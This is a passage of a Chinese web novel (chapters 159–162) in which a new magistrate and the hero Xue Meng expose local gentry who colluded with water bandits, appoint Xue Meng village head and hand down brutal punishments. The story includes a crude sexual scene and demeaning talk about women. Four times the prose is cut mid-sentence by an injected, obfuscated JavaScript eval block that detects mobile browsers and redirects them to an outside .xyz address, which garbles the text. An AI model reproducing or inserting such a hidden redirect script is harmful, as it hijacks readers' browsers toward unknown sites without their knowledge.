梁咏眉头高挑,气焰嚣张:“难不成,你还敢打我不成?你也不去打听打听,满县皂隶,谁敢打我梁咏?”
啪!
话音刚落,梁咏顿觉眼前一花,郑灵均铁一样的拳头,径直朝他面门打来。
“噗……!”
区区一介书吏,四体不勤,哪里受得住郑灵均的拳头。
这一拳,五成力道都没用上,却已经把梁咏打得口鼻喷血,眼冒金星,接连暴退数步,栽倒在地。
郑灵均宛若发狂的雄狮,虬髯戟张。
指着躺在地上的梁咏,冲满堂皂隶喝道:“来人,给我将这厮重打三十大板!!!”
郑灵均打翻梁咏,已经让皂隶们大吃一惊,还没缓过劲来,便听郑灵均要他们打梁咏三十大板。
众人心中惧怕,纷纷拱手,面露为难:“郑大人,小的们可敢打!”
郑灵均环视众人,扬了扬铁拳,沉哼道:“你们怕这贱吏,便不怕本巡检的拳头么?”
“这……”
皂隶们猛一哆嗦。
看了看躺在地上吐血的梁咏,又看了看形如钟馗下凡,凶神恶煞的郑灵均,权衡一二,最终还是做出了选择!
“梁书办,得罪了!”
得罪梁书办,或许会被梁家报复,但那也得等到事后。
可若是得罪郑灵均这个活阎王,沙包大的拳头打下来,半条小命就没了!
孰轻孰重,大家还是分得清的!
梁咏还没从刚才那一拳的余威中缓过劲来,就被两名皂隶夹住,摁在了木凳上。
迷迷糊糊中,他恍惚察觉,有人褪下了自己的裤子。
屁股蛋子凉嗖嗖。
紧接着,疾风呼啸而至!
水火棍打在了自己的屁股蛋子上,发出啪的一声爆响!
“啊!……啊啊!!”
强烈的剧痛,让梁咏的脑子一下就清醒了!
惨叫声回荡公堂,传得老远。
就连大街上过往行人,都能听得见!
“衙门今天杀猪?”
“去看看!”
路人们听到惨叫声,纷纷前去围观。
三十大板打到一半,梁咏就已经昏**过去。
皂隶们本想**情棍,奈何郑灵均在旁边盯着,谁敢放水,只出声,不着力,一眼就被看穿。
“给我狠狠地打!”
郑灵均指着被打得皮开肉绽的梁咏,环视满堂文武,借此给茅仪立威。
“日后,谁再敢对县尊不敬,这便是榜样!!”
“不管是什么人!”
“藐视公堂,不敬上官,一律严惩!”
三十大板一板不少,结结实实打完。
皂隶们累出一身汗。
而梁咏下半身已彻底被血水浸透,被皂隶拖下去时,在地面上留下两道触目惊心的血痕。
“退堂——”
在衙役拉长的嗓音中,茅仪上任后第一次升堂,宣告结束。
而此事的余波,还在持续发酵。
……
县衙后堂。
茅仪脱下官服,换回了青袍便服,摒退了所有差役,只留下郑灵均和寇芳。
听寇芳讲完薛猛带队剿灭青龙峡水匪的经过,茅仪啧啧称奇,感慨万千。
“薛公子,真乃救世之雄才也!实在令人仰慕啊!”
“说来也巧,我洪雅县正缺人手修补城墙,你们送来这百名水匪俘虏,正好可以充作民壮,送去修城墙!”
“也算是替我帮了大忙啊!”
说到高兴处,三人都笑了起来。
“对了寇姑娘,你方才说,临水村任家将村民妻女送给水匪糟蹋一事,是怎么回事?”
茅仪忽然笑容一敛,问道。
“茅大哥请过目!”
寇芳从怀中取出薛猛交代的信件,递给茅仪。
茅仪接过信件,连忙拆阅,越看脸色越发铁青。
砰!
看罢书信,茅仪拍桌而起,勃然大怒!
“岂有此理!”
“这任丰年,胆大包天,竟敢勾结水匪,认贼作父,残害乡民!”
“此事非同小可!”
“我马上派人抄了任家!”
“不可!”
郑灵均抬手往下压了压,示意茅仪稍安勿躁:“如今这衙门里,鱼龙混杂,是人是鬼全分不清真面目!”
“那任丰年,一心想要当白虎乡亭长,定然走了不少门路!”
“这县衙里,除了梁咏,说不定还有人跟他私底下通着气儿!”
“一旦有人提前给任丰年
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349741|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
报信,让他逃走,咱们一去必定扑空!”
“所以,此事不能声张!”
茅仪定了定神,眼底滑过一点幽光:“郑叔,还是你考虑得周全。”
“我虽是知县,但毕竟年轻,这官场里的弯弯绕,比我想象的要复杂得多。”
“那以您之见,我应该怎么办?”
郑灵均眯了眯眼,口中缓缓吐出八个字:“微服私访,机密行事!”
茅仪和寇芳对视一眼,又回头冲郑灵均点了点头。
“好!”
“就这么办!”
“我亲自去临水村,看看这任丰年,到底在搞什么鬼名堂!”
……
临水村,任家庄。
宾客云集,酒肉飘香,热闹非凡。
这场酒宴,有个名头,叫做“公举宴”。
顾名思义,就是推举乡贤之宴!
用现在的话来说,就是竞选亭长之前,把乡里的大户、乡绅叫过来,请客吃饭拉票!
任家家主任丰年高举酒杯,环视满院宾客,笑容满面:“今日,高朋满座,蓬荜生辉!任某多谢各位乡贤,能够前来捧场!”
“任某可以向大家保证,只要我当上白虎乡亭长,绝对不会亏待大家!”
青牛村刘家家主刘辉,满脸堆笑,端起酒杯回敬道:“任兄,你这就见外了不是?”
“放眼咱们白虎乡,除了李庄之外,就数你任家庄丁多财厚,最有实力!”
“如今李庄已经不复存在,方田没了李庄这个靠山,算个什么东西?早该让贤了!”
“刘兄说得在理!”
朱雀村朱家家主朱洪接过话茬:“任老哥要资历有资历,要能力有能力,要家业有家业,要威望有威望……”
“你不当亭长,谁还能当亭长?”
黄泥村村长黄大千连声附和:“对对对!这白虎乡亭长之位,非丰年兄莫属!”
“若是换了别人来当,我们几家,可不买账!”
“哈哈哈!”
在众人一声接一声的溜须拍马之下,任丰年不由得有些飘飘然。
仿佛自己已经坐上了白虎乡亭长的位置!
“丰年兄,算算时辰,县衙也该差人送来任书了吧?”黄大千问道。
推举亭长,不仅需要获得各村村长、族老、乡绅支持,最终还需要县衙差人发来任书,告示乡民,方才合乎大虞律法!
“应该快了!梁书办之前回过信,说今天肯定能帮我办妥此事!”
任丰年点了点头,心中却隐约升起一股不祥的预感。
按理说,梁书办已经答应替他办妥此事,应该不会出什么差错!
但,为何这么长时间过去了,却还是迟迟没见县衙送来任书。
莫不是,路上耽搁了?
“任兄,那位爷,会来吗?”
刘辉隐晦问道。
任丰年自然知道,刘辉说的那位爷,是指青龙峡水寨的大寨主雷龙!
“数日前我就已经递上请帖,请雷爷来参加公举宴!”
“只是不知何故,他一直未曾回信给我!”
“我想,应该不会来了吧!”
“不来也好。”
朱洪一想起那帮水匪,便目露忌惮:“他若来了,与县衙差人撞上,倒说不清楚!”
“来来来,吃酒!”任丰年举杯笑道。
众人酒过三巡,菜过五味。
迟迟不见任书送来,等得都有些不耐烦了。
“任冲!”
任丰年也坐不住了,招呼手下心腹家丁:“你现在就骑马,去县里打听打听,到底出什么茬子了?为何任书还没送来?”
“不用等了!”
就在这时,院子里狂风大作,地上的落叶被吹得四处飘飞。
一股无形的肃杀之气,瞬间笼罩了任家庄。
任丰年抬眸看去,目光一颤。
只见自家门前,不知何时出现了一道玄袍锦衣,手提长刀的强悍身影。
“任老狗!”
“雷龙被老子杀了!”
“青龙峡水匪,被老子灭了!”
“你勾结水匪,残害乡民!”
“这白虎乡亭长的位置给你,你敢要吗?”
第159章 办不成,那就别办了!
“你是何人?怎敢在此大放厥词?”
任丰年眉头高挑,目光不善,眯眼打量,从门外踏入自家宅院的玄衣少年。
家丁任冲,看了来人一眼,瞳孔骤缩。
连忙凑近任丰年耳边,压低声道:“老爷,我见过他,他就是卧虎村的薛猛!”
“什么?”
任丰年一怔,又定睛打量了薛猛一眼,不敢相信自己的眼睛。
这几个月来,薛猛这个名字,他耳朵都快听出茧子来了,但还从来没有见过**!
坊间传闻,这薛猛射杀棕熊,剿灭老鸦坎山匪,救济流民,开办工坊,干了不少惊世骇俗的事情。
短短数月之间,就从一个家徒四壁的破落户,崛起为一方大户!
还把卧虎村,打造成了白虎乡第一强村!
原本,李庄覆灭后,放眼整个白虎乡,已经没有人可以和任家掰手腕!
拿下白虎乡亭长之位,整个白虎乡就是他任家的地盘了!
但没想到,半路冒出个薛家!
薛家的崛起,让任丰年感受到了前所未有的威胁!
因此心中一直把薛猛视作劲敌,明里暗里和薛猛较劲。
前不久,卧虎村巡猎队的人来临水村招人,他特地让临水村村长,把卧虎村的人赶了出去!
今天这场公举宴,其他村子的乡绅他都请了,唯独没有请薛猛!
就是想和薛猛划清界限,带着其他家族,一起孤立薛家!
但没想到,薛猛竟然不请自来!
“薛猛,老夫不曾请过你吧?你来做什么?”
任丰年冷冷打量着薛猛,眼中充满戒备和敌意。
这厮方才说,青龙峡水匪被他给灭了?
这怎么可能?!
还有,他是怎么知道自己和水匪有来往的?
“你任家不是摆公举宴吗?”
“我薛猛,好歹也是卧虎村大户,你想当亭长,也得获得我的认可!”
“我还不能过来讨杯酒吃?”
薛猛兀自迈步来到酒桌前,大马金刀,坐了下来!
啪,手中警恶刀往桌上一拍,震得桌上杯碟乱颤。
声音拔高,气势如虹:“快给老子倒酒!”
朱洪、刘辉、黄大千等人,面面相觑,不知薛猛这是唱哪出。
任家的家丁仆从,你看看我,我看看你,没有一人理会薛猛。
“好,好,你是薛家家主,公举宴理应有你一席之位!”
任丰年强压心中怒火,抬了抬手指:“任冲,给他倒酒!”
任冲一怔点头,随即上前,不情不愿端起酒壶。
“滚!”
“你算哪根葱?老子要他倒!”
薛猛一拍桌子,喝退任冲,扭头看向任丰年。
“你!”
任冲脸色铁青,双目怒瞪。
四周任家家丁,纷纷抄起了棍棒,十几双眼睛死死盯着薛猛,随时准备对薛猛动手。
任丰年抬手向下压了压,示意家丁先不要轻举妄动。
“薛猛!你到底想干什么?”任丰年沉声道:“我看你,不是来喝酒的,倒像是来找事的!”
“这就生气了?”
薛猛唇角微扬,面带冷笑。
“就你这样的气量,还想当白虎亭亭长?”
“想当亭长,就需要获得全乡乡民认可!”
“可我看了半天,这满院子尽是猪狗狼狈为奸,一个乡民也没看见!”
“这算哪门子的公举宴?”
薛猛抬眸虎视四周,目光一一扫向刘辉、朱洪、黄大千等人脸上。
“依我看,倒不如叫猪狗宴算了!”
薛猛此言一出,不光任家的人脸色难看至极,院子里其他乡绅地主也都急了。
“放肆!”
尤其是刘辉、朱洪、黄大千三人,作为任丰年最大的支持者,自然是首当其冲,指着薛猛破口大骂!
“薛猛,你这厮不过是个猎户出身的贱民,偶然射杀棕熊,发了笔横财!!”
“几个月前,你还在吃糠咽菜呢!这才吃几天饱饭,就敢对我们吆五喝六?”
“跟我们比,你还不够格!”
“论资历,论年纪,你都是小辈,安敢在此口出狂言!”
“行啦!都少说两句!”
任丰年眼角皱褶微微抽动,面色黑沉:“薛猛!你还年轻,不懂规矩,老夫可以给你一次机会。”
“你现在立刻跪下,给老夫,以及在场所有并可,磕头道歉!”
“老夫饶你一命!”
“否则……”
没等任丰年把屁放完,薛猛直接抬手打断:“要我道歉,可以!”
“但你得先办一件事!”
“什么事?”任丰年面露迟疑。
“赔偿被你**的村民十万两白银!然后自己去县衙自首,承认你勾结水匪的罪行!”
薛猛缓缓道出的一句话,却像是往热油锅里倒了一瓢开水!
任丰年顿时就炸了!
“十万两白银?你当我是开钱庄的不成?此事绝无可能,办不成!”
“办不成,那就别办了!”
薛猛虎目圆瞪,一声大吼!
手捉长刀,豁然起身,一脚掀了酒桌!
噼里啪啦,一阵爆响……
碗碟落地,摔得粉碎!
“啊……”
滚热的汤菜,浇在任丰年身上,烫得他嗷嗷乱叫。
“任冲,给我宰了他!!”
任丰年抹了把脸上的菜叶,一指薛猛,怒不可遏!
“打!”
随着任冲一声暴喝,身后早已准备多时的家丁,立即朝着薛猛一拥而上!
“打死他!”
“打死他!!”
以朱洪、刘辉、黄大千为首的乡绅,纷纷指着薛猛,起哄大叫!
其他胆子较小的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349742|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
乡绅,则缩在了墙角,唯恐被殃及池鱼。
唰!
面对**,薛猛非但不惧,反而嘴角微扬。
手中警恶刀向天上一抛,脚尖点地,疾步冲出。
宛若一只人形猛虎,和扑来的家丁悍然相撞。
拳风呼啸而来,任冲瞳孔骤缩,内心感受到前所未有的恐惧!
仿佛向他们冲来的不是人,而是下山的猛虎!
砰砰砰——
**!!!
啊啊啊……!!
任家家丁手中棍棒,连薛猛的衣角都没沾到,便被掀飞了出去!
薛猛不需要武器,拳、掌、指、肘、膝,全都是他的武器!
只要被他撞上,轻者口鼻溢血,门牙飞溅,断手断脚,骨折倒地。
重则两眼一黑,当场昏死!
短短数息之间,任家十几名家丁,棍棒脱手,四仰八叉,全部掀飞倒地!
薛猛把带头的任冲踩在脚下,一抬手,恰好接住了从半空中落下的警恶刀!
衣角微脏!
风轻云淡!
连大气都没喘一下!
顿时间,任家宅院,一片死寂。
先前叫嚣着要宰了薛猛的乡绅,全都怔怔望着薛猛,鸦雀无声,没了动静。
“…你,你你你你…”
任丰年指着薛猛的手指,抖得像巫师在隔空画符。
“你什么你!就你手下这几根蔫儿葱,还敢跟我动手动脚?!”
下一刻,薛猛直接欺身上前,一把掰住了他的手指,疼得任丰年脸上皱纹皱得像菊花。
“别别别,薛爷饶命……要断了!”
任丰年苦着脸卑微求饶,再也没了先前的高傲,唯恐薛猛一用力,掰断他的手指。
以前只是道听途说,这薛猛如何如何英雄了得!
他一直对其嗤之以鼻,觉得是乡民愚昧,以讹传讹!
但现在,亲眼见识薛猛的身手,他是彻底怕了!
这薛猛,压根不是人,简直就是个活阎王!
“任老狗,现在知道求饶了?”
对于任丰年的求饶,薛猛却是嗤之以鼻:“你当初勾结水匪,残害乡民,怎么没想过会有今天这样的报应?”
“薛爷!冤枉,天大的冤枉啊!”
薛猛手一松,任丰年脱力般,捂着手跌坐在地,信誓旦旦道:“老夫为人一向清正,从来不曾有过违法乱纪之举!”
“你是听谁说我勾结水匪的?纯粹是无稽之谈!”
“定是有小人想要陷害于我,故意编造谣言!薛爷,你英明神武,可千万不要被蒙骗了!”
“还敢狡辩?跟我的刀说去吧!”
薛猛目光如电,拇指一顶刀锷。
锵一声,雪亮刀身弹出刀鞘。
寒光晃得任丰年魂飞魄散,裤裆都湿了!
就在这时,门外一声拖长的嗓音响起!
“任书到!!”
第160章 薛家军有编制了
任书送来了?!
任丰年闻言,心中一喜,颇有劫后余生之感!
面对薛猛,也不再惧怕!
“薛猛!县衙派人给我送任书来了,我马上就是白虎乡亭长了!”
“你身为乡民,若敢动我一根毫毛,便是藐视大虞律法,等着满门抄斩吧!”
薛猛一怔。
见任丰年这么嘚瑟,反倒把他整得不自信了。
自己不是已经让寇芳,把任家勾结水匪的罪证,给茅仪送去了吗?
怎么县衙还派人来给任丰年送任书?
茅仪到底在搞什么幺蛾子?
不过,就算任丰年真成了亭长,薛猛凭借手中警恶刀,也照砍不误!
此刀在手,警恶除奸,六品以下,先斩后奏!
别说一个小小的亭长,就是知县,若是作恶多端,证据确凿,也照样可以将其斩杀!
“梁大人!盼星星,盼月亮,总算把您老人家盼来了!”
趁着薛猛愣神的当口,任丰年连忙从地上爬起来。
满脸堆笑,朝着门外走来的县衙差役快步迎了过去!
“咦……”
然而,等他走近之后,却发现县衙来的一行人中,一个熟识的面孔都没有。
任丰年眉头轻皱,察觉出一丝古怪,忍不住对立在门口的一名虬髯差役,问道:“敢问这位差爷,梁书办为何没来?”
“梁书办?”
郑灵均手摁刀柄,摸了摸颌下虬髯,意味深长地冷笑一声:“呵呵!别急,你很快就能见到他了!”
“哦?还在后面是吧?那就好,那就好啊!”
一听这话,任丰年好似吃了定心丸,顿时喜上眉梢。
只要梁咏来了!
一切就好办了!
“薛猛,你小子给我等着,等梁大人到了,你的好日子就到头了!”
任丰年有了依仗,顿时恢复了嚣张气焰,回过头,戳着薛猛的胸膛,叫嚣起来。
薛猛今日打伤他家这么多家丁,他说什么也不会放过薛猛!
等当上白虎乡亭长,第一件事,就是抄了薛家!
“薛猛!听说你家有两个如花似玉的娇妻……哼,你以后是无福消受了!”
“不过你也别担心,等你下了阴曹地府,汝妻子,吾养之!”
“本亭长最爱助人为乐,绝不会让她们独守空房的!”
说着,任丰年哈哈大笑起来,仿佛已经看见薛家家破人亡,薛猛跪在地上摇尾乞怜的场景了。
薛猛虎目微眯,看任丰年的眼神,如看一具尸体。
“县尊到!!”
一声拖长嗓音响起。
任家门前,停下一台轿子。
轿帘掀开,茅仪身着官服,脚踩官靴,迈过门槛,踏入任家宅院。
县尊来了?!
送个任书而已,不至于劳动县尊吧?!
任丰年感觉有些不对劲,但又不敢细想。
“草民叩见县尊!!!”
在任丰年的带头下,任家上上下下,全部撅着屁股,跪在了地上。
唯独薛猛手提警恶刀,站得笔直。
任丰年余光瞥见这一幕,心中暗笑,这薛家愣头青,真是一点规矩不懂!
平民见了县太爷,居然敢不下跪,这不是活腻歪了吗?
茅仪走进院中,看都没看跪在地上的众人一眼,只是冲薛猛笑了笑。
薛猛身配警恶刀,六品以下,见官不跪,合乎法制!
再说了,以茅仪对薛猛的敬佩程度,他也不敢让薛猛下跪!
若是没有薛猛提供的计策,他在接任知县之初,恐怕就丧命于刺客之手了!
对上茅仪耐人寻味的笑脸,薛猛眉头轻皱,这家伙,搞什么鬼名堂?
怎么感觉,他的笑容有点“不怀好意”?
“本县此来,只办两件事!”
“第一件事,就是任命新任白虎乡亭长!”
茅仪轻咳几声,示意身旁跟着的寇芳宣读任书。
寇芳上前一步,来到众人面前,缓缓展开手中的任书。
“洪雅县府示——”
“今白虎乡亭缺少长官,访得贤者,堪承此任。”
“其人孝悌著于乡,处事明且刚。”
“擅岐黄良方救世,治军阵剿匪有功。”
“威仪堂堂,骑射勇猛,文采飞扬,武德充沛。”
“取财有道,扶危救困,乡民称誉,盛名远扬。”
“此等济世之雄才,如遗世明珠埋没于乡野。”
“今特委为白虎乡亭长,即日赴职,任期三载。”
“此任书一式二分,一归尔存,一留县档。”
“望勿负民望,自募乡勇,守备一方!”
“洪雅县县府,县令茅仪,宣!”
听到任书上的溢美之词,任丰年笑得嘴都合不拢来!
我什么时候,有这么能干了?
这梁书办,真是厉害!
把我捧得这么高,连我自己都不好意思了!
回头定有好好重谢他!
“薛猛,上前接任书吧!”
茅仪话音刚落,任丰年直接弹身而起。
曾经对着空气练习了千百遍的一套感谢致辞,随即脱口而出:“谢县尊抬爱!”
“任某既受此任,必以亭境安宁为要,缉盗平纷,便民理事,不敢有半分懈怠!”
“三年任期内,下官定当竭尽全力,守备一方,绝不辜负县尊厚望!”
任丰年满脸谄媚笑容,迫不及待就要上前接下任书。
忽然,感觉背后有人拽了他一把。
回头
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16356027|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一看,只见是自己的小妾,两眼一瞪,没好气道:“你拽**什么?”
小妾嘴唇哆嗦,颤声道:“老、老爷,县尊任命的白虎乡亭长是……薛猛,不是你呀!”
“什么?”
任丰年心里咯噔一下,环顾四周,只见院子里所有人,都像在看**一样看着他。
“不可能!”
“绝对不可能!!”
任丰年看了看薛猛,又看向茅仪,最终目光落在了寇芳手中任书上。
也不知道是哪里冒出来的勇气,他一把夺过任书,定睛一看。
当看清楚任书上亭长的名字时,顿觉一股热血直冲颅顶,天旋地转。
这是怎么一回事?
为什么会这样?
老夫都快五十了……
只不过想在临死之前,当个亭长,体验一把权力带来的快乐,老夫有什么错?!
贼老天!
你为什么要这么对我!
薛猛这么个毛头小子,他凭什么当亭长啊!
任丰年老泪纵横,悲痛欲绝,周围的人影全都变得异常模糊虚幻。
只看见自己的小妾张着嘴,好像在喊自己的名字,但却听不见一丁点声音。
最终,两眼一黑,往后倒去!
“老爷!”
见任丰年昏倒在地,四肢抽搐,嘴歪眼斜,口吐白沫。
任家家眷全都吓坏了,连忙扑了上去。
“这任老狗,居然气得中风了?!”
薛猛嘴角轻抽,只觉可笑:“不就是个亭长吗?至于吗?”
和任丰年站在统一战线的朱洪、刘辉、黄大千三人,全都吓傻了。
任丰年倒下了!
薛猛当了白虎乡亭长!
以他们刚才对薛猛的态度,这以后,能有他们好果子吃?
而其他持中立态度的乡绅,则暗地交换了眼神,纷纷见风使舵,来到薛猛面前,撅着屁股,磕头跪拜。
“草民叩见亭长大人!!!”
十九岁的亭长!
放眼整个洪雅县,也是独一份儿!
薛猛这样的人,绝非池中之物,他们可得罪不起!
“恭喜恩公!”
寇芳将任书合上,郑重递到薛猛手边:“不对,以后得叫薛大人了!”
薛猛随手接过任书,瞄了眼,又抬头看向茅仪,总算明白这家伙刚才的笑容是什么意思了!
搞了半天,这家伙把他收编了!
“行,这亭长,我当了!”
薛猛点头应下,随手把任书丢回给寇芳:“收着吧!”
寇芳和郑灵均对视一眼,皆大欢喜。
薛猛当了白虎乡亭长。
薛家军就有编制了!
以后再也不用藏着掖着,可以光明正大地招募乡勇,组织团练!
第161章 杀鸡儆猴
薛猛心中也有自己的小算盘。
巡猎队有了编制,以后饷银由朝廷发放,就不需要自己掏钱了!
薅大虞朝廷的羊毛,养自己的兵!
何乐而不为?
“本县此来,只办两件事!”
“这第一件事,已经办妥!”
“至于第二件事么……”
茅仪扬了扬手里的信件,声音陡然拔高:“本县接到民众举报,有人勾结水匪,残害乡民!”
“这封书信,便是罪证!”
“信上写明,每月向水匪提供三百两白银,十名民女!”
“简直是认贼作父,荒唐至极!”
“……”
跪在地上的乡绅们,面面相觑,表情复杂。
有人满脸茫然。
有人汗流浃背。
有人抖若筛糠。
茅仪将信件往地上一丢,袍袖一甩,口中轻喝:“勾结水匪者,自觉站出来!莫要等本县,一个一个亲自点名!”
“县尊饶命呐!”
茅仪话音刚落,就听一声悲号响起。
黄泥村黄大千,最先承受不住心理压力,磕头求饶起来!
“草民也是被逼无奈,才答应给水匪上供的……”
“都是任丰年带的头,他说不给水匪送女人送银子,咱们都得完蛋!”
“就你一个?”
茅仪沉哼一声,冷漠目光一一扫过跪着的人:“看来,还有人不老实啊!”
咕咚。
朱雀村朱洪喉头滚动,咽了口唾沫,裤裆黏糊糊,也不知是汗水还是尿。
吧嗒,吧嗒……
青牛村刘辉压根不敢抬头看茅仪,趴跪在地,面朝黄土。
额头上的汗水滴落在地,摔成八瓣儿,汇成了一汪小潭。
“本县最后再给你们一次机会!”
“若是还没有人站出来!”
“本县就挨个挨个点名!”
“主动自首者,从宽处理!”
“若等本县来点名,定然严惩不贷!”
茅仪双手背在腰后,语气铿锵有力,像是在每个人脖子上悬了一把铡刀!
“招!我招!!”
紧随黄大千之后,朱洪也扛不住了……
“县尊!我有苦衷啊!”
“我若是不听水匪的,不给水匪送女人送银子,那帮水匪就要拿我朱家开刀啊!”
“我也是被逼无奈啊!”
听见朱洪拖着哭腔,语无伦次的声音,刘辉心里咯噔一下,恨不得把头埋进土里。
茅仪目光一沉,扫向刘辉:“姓刘的!你还打算装到什么时候?”
“非要等本县,亲自来请你吗?”
刘辉浑身颤抖,脸色惨白。
“我不招!”
“招了也是个死!”
“我跟你拼了!”
刘辉心一横,抓起一把黄土,朝茅仪脸上撒去,随即撒腿就往门外跑。
“大胆!竟敢袭击知县!”
只听“咚”的一声闷响,刘辉还没来得及跑出门外,就被守在门口的郑灵均,一脚绊倒。
一群由巡猎队队员假扮的差役,上前就是一顿暴揍,打得刘辉口鼻喷血,惨叫连连。
其他乡绅全都看傻了眼。
这刘辉,疯了不成?
居然敢攻击县太爷?
这不是罪加一等吗?
茅仪拍了拍身上的黄土,面色铁青,大袖一挥,直接宣判。
“青牛村劣绅刘辉,勾结水匪,残害乡民,罪同谋反,按律应当枭首示众!”
“今又反抗官府,冲撞知县,数罪并罚,抄没家产,女眷充作犯妇,入官窑为妓!男丁充作苦役,修补城墙!”
“刘辉本人,当处以车裂极刑,五马分尸,即日押赴县城十字街口行刑!”
“朱雀村劣绅朱洪、黄泥村劣绅黄大千,勾结水匪,与其同罪,但念在其并非主犯,且主动自首,甘愿伏法,酌情减刑!”
“免**刑,抄没家产,脊杖一百,发配三千里!”
“主犯任丰年!与青龙峡水匪匪首雷龙来往密切,联合三村劣绅,欺压乡民,作恶多端,致使数十户村民家破人亡……”
“并贿赂本县吏房书办梁咏,诬告卧虎村薛猛……其心可诛,罪大恶极!”
“数罪并罚,满门抄斩,凌迟处死,枭首示众!”
茅仪话音刚落。
刘辉仿佛被抽走了三魂七魄,直接昏死在地。
悔恨的泪水,无声涌流。
本来只需要**,现在好了,五马分尸,车裂极刑!
连个全尸都没有了!
自家娘子,也得送去做妓!
而获得减刑的朱洪、黄大千二人,也谈不上高兴,反而眼中充满绝望。
脊杖一百,发配三千里!
活下来的概率,近乎于无!
还不如**来得痛快!
但要数最惨的,他们可都排不上号!
他们再惨,总比任家满门抄斩好吧?!
连根儿都拔了!
直接绝户!
任家家眷跪在地上,哭天喊地,任家的天塌了!
“临水村村长!与劣绅任丰年狼狈为奸!抄没家产,脊杖七十,发配二千里!”
“黄泥村村长……”
接下来,茅仪犹如阎王点卯,挨个挨个点名,但凡是跟着任家、刘家、黄家、朱家一起做过恶的,一个都跑不掉。
没有被点到名的乡绅,亦是跪在地上瑟瑟发抖。
薛猛静静看着这一切,对茅仪的做法颇为赞赏。
杀鸡儆猴!
见识到以任家为首这帮劣绅的凄惨下场,其他乡绅肯定不敢再作妖了!
“带走!!”
郑灵均大手一挥,差役一拥而上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16356028|182921||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
将任丰年、朱洪、刘辉、黄大千,以及任家的仆从女眷摁翻在地,捆住双手,拴在了竹竿上。
“县尊饶命!饶命呐……”
任家小妾还想求饶,被差役连打带踹,强行拖拽出门。
一群昔日在白虎乡作威作福的乡绅地主,此刻就像是牲口一样,被差役驱赶着向前踉跄走去。
不少人每走一步就留下一个水淋淋的脚印,空气里弥漫着一大股尿骚味。
“薛亭长,这几个刁民我就先带走了,至于抄家的事情,就交给你了!”
茅仪冲薛猛意味深长地笑了笑。
薛猛咧嘴一笑,会意点头:“行,包在我身上吧!”
抄家可是个肥差!
那些乡绅家里,宝贝可都不少!
本应该由县衙的人去抄!
茅仪显然是在还自己人情,故意让自己去抄家捡漏!
“寇芳,赶快回村,多叫些人过来,再多牵些马和板车来!”
“我怕待会儿,好东西装不下啊!”
听了薛猛这话,寇芳捂嘴偷笑:“好,我这就去!”
这次真的要发财了!!!
……
“废物牛二!快些,再用力些!你没吃饭吗?待会儿老爷就要回来了!”
“夫人,我真的一滴都不剩了!放过我吧!”
**啪……
青牛村,刘家。
刘辉的娘子秋氏,正骑在管家牛二身上,摆动白腻腰肢,尽情挥洒着热汗。
只听“砰”的一声爆响,房门突兀被从外踹开。
二人吓得一哆嗦。
秋氏慌忙从牛二身上滑了下来,光着身子,跪地求饶。
“老爷!事情不是你想象的那样,都是牛二轻薄我……奴家是无辜的!”
牛二:“???”
秋氏磕头求饶时,奶白色的大雪子,晃得薛猛眼花缭乱。
薛猛用手挡了挡眼睛,对身边跟来的弟兄说道:“给我把这对狗男女绑了,男的送去下苦力,女的送去麦皮!”
“薛爷!”
**队队长杨虎举了举手:“能不能把这个留给我呀,我喜欢骚的!”
啪!
话音刚落,头上就挨了薛猛一巴掌:“瞧你那点出息!要找,咱也得找个良家女子!”
“像这样水性杨花的货色,你敢要哇?”
“哪天给你带点菜花回来,你就梅逝了!”
杨虎挠了挠头,尴尬一笑:“嘿嘿,薛爷教训得是!那我不要了!”
话虽如此,但眼底依然流露出一丝不舍。
“你们……是什么人?!”
听到薛猛几人的声音,秋氏抬眸瞄了一眼,发现进门之人,并不是自家老爷刘辉!
连忙扯过被子,捂住了奶白雪子!
“赶快从我家滚出去,否则我喊人了!”
第162章 发财了!
“大胆!!”
杨虎两眼一瞪,上前一步,指着薛猛,声音陡然拔高:“这是白虎乡新上任的亭长——薛猛薛大人!”
“你这刁妇,竟敢对亭长大人不敬!”
“亭长?”
